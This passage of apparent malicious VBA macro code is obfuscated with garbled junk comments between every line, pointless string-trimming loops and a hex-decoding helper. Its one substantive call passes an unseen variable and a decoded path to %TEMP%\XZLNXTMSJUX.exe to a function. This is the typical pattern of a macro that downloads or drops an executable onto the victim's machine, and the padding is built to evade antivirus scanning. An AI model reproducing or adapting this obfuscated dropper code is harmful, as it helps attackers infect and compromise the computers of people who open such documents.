- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- grUIiBDe = LTrim(eVWTTqPK)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- fFqmyalA = RTrim(grUIiBDe)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- CYdKgqMW = HexToString("202020202020202020202044554358454A202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim clzDANKj As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For clzDANKj = 0 To 7
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim nminSEgn, wwkSuUSZ, kwAVASpE As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- nminSEgn = HexToString("20202020202020202020204C56594B5149202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- wwkSuUSZ = LTrim(nminSEgn)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- kwAVASpE = RTrim(wwkSuUSZ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next clzDANKj
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim xNuYrKlK, ghVkWBUx, MsTSimvf As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- xNuYrKlK = HexToString("20202020202020202020204E484D4A4349202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ghVkWBUx = LTrim(xNuYrKlK)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- MsTSimvf = RTrim(ghVkWBUx)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ZAMdAYQS = LTrim(CYdKgqMW)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim IwWaiLND As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For IwWaiLND = 0 To 9
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim shVgTyWv, FAsogERK, ejkDmgHn As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- shVgTyWv = HexToString("2020202020202020202020454145454759202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- FAsogERK = LTrim(shVgTyWv)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ejkDmgHn = RTrim(FAsogERK)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next IwWaiLND
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HhYDQTGo, zwlHflLl, fAtLGuXR As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HhYDQTGo = HexToString("20202020202020202020204E5249515851202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- zwlHflLl = LTrim(HhYDQTGo)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- fAtLGuXR = RTrim(zwlHflLl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- mKQVlDah = RTrim(ZAMdAYQS)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim MXGfFVXh As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For MXGfFVXh = 0 To 2
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim pPIhWNUM, yPKAhttW, aQeDPoZX As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- pPIhWNUM = HexToString("202020202020202020202051594C44474D202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- yPKAhttW = LTrim(pPIhWNUM)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- aQeDPoZX = RTrim(yPKAhttW)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next MXGfFVXh
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim SXknxwmz, RdosdZPT, piHYbCAx As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- SXknxwmz = HexToString("2020202020202020202020494742445958202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- RdosdZPT = LTrim(SXknxwmz)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- piHYbCAx = RTrim(RdosdZPT)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- XBFAPGNWGLM dygigGUIIU, Environ(HexToString("54454D50")) & HexToString("5C585A4C4E58544D534A55582E657865")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- End Sub
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Public Function HexToString(ByVal wlFwnAKuth As String) As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim uQdrZqcgGusmEB As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim tSYUgjyTUeojMcv As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim UPEktusxicjMa As Long
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For UPEktusxicjMa = 1 To Len(wlFwnAKuth) Step 2
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim aJoPSqIO, hUgfKXMk, KLEiAlES As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HVJSphPY As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For HVJSphPY = 0 To 7
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim zLlcoBJH, UFNKwlII, dOIdIGnb As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- zLlcoBJH = " OEWRQK "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UFNKwlII = LTrim(zLlcoBJH)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- dOIdIGnb = RTrim(UFNKwlII)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next HVJSphPY
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim vIRjGOFd, aMKqvuxY, hOVFRKIg As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- vIRjGOFd = " OPLRMW "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- aMKqvuxY = LTrim(vIRjGOFd)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- hOVFRKIg = RTrim(aMKqvuxY)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- aJoPSqIO = " HRRYEG "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim GemnnllM As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For GemnnllM = 0 To 3
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim wmEehwUQ, UnhyKpPX, TsLKHsjm As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- wmEehwUQ = " OXEQXD "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UnhyKpPX = LTrim(wmEehwUQ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- TsLKHsjm = RTrim(UnhyKpPX)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next GemnnllM
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim CRZMxbXP, KTSyJRlQ, FYXksIJD As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- CRZMxbXP = " VLSMFF "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- KTSyJRlQ = LTrim(CRZMxbXP)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- FYXksIJD = RTrim(KTSyJRlQ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- hUgfKXMk = LTrim(aJoPSqIO)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim QAfzAAfs As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For QAfzAAfs = 0 To 6
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim mfjZcHQR, BpVCQqZw, RtTkVTmf As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- mfjZcHQR = " KDMYKD "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- BpVCQqZw = LTrim(mfjZcHQR)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- RtTkVTmf = RTrim(BpVCQqZw)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next QAfzAAfs
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim EooGpICB, KVglhloU, mpZdBJKa As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- EooGpICB = " TDRIGA "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- KVglhloU = LTrim(EooGpICB)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- mpZdBJKa = RTrim(KVglhloU)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- KLEiAlES = RTrim(hUgfKXMk)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim hrJFNyRq As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For hrJFNyRq = 0 To 4
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim jaiZOfUY, ZuMTszPJ, GdYIDGFz As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- jaiZOfUY = " USKCYO "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ZuMTszPJ = LTrim(jaiZOfUY)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GdYIDGFz = RTrim(ZuMTszPJ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next hrJFNyRq
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim JjTcabsm, DkGOwROx, IkNWGIuc As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- JjTcabsm = " ZXKJKY "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DkGOwROx = LTrim(JjTcabsm)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- IkNWGIuc = RTrim(DkGOwROx)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- uQdrZqcgGusmEB = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(wlFwnAKuth, UPEktusxicjMa, 2)))
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ZVmEwSfY, GruYCnkJ, apLObfmz As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ODgMtkqh As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For ODgMtkqh = 0 To 8
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim tpCavzIh, PtTwQcbi, gNdHBKkB As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- tpCavzIh = " PQPLLM "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- PtTwQcbi = LTrim(tpCavzIh)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- gNdHBKkB = RTrim(PtTwQcbi)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next ODgMtkqh
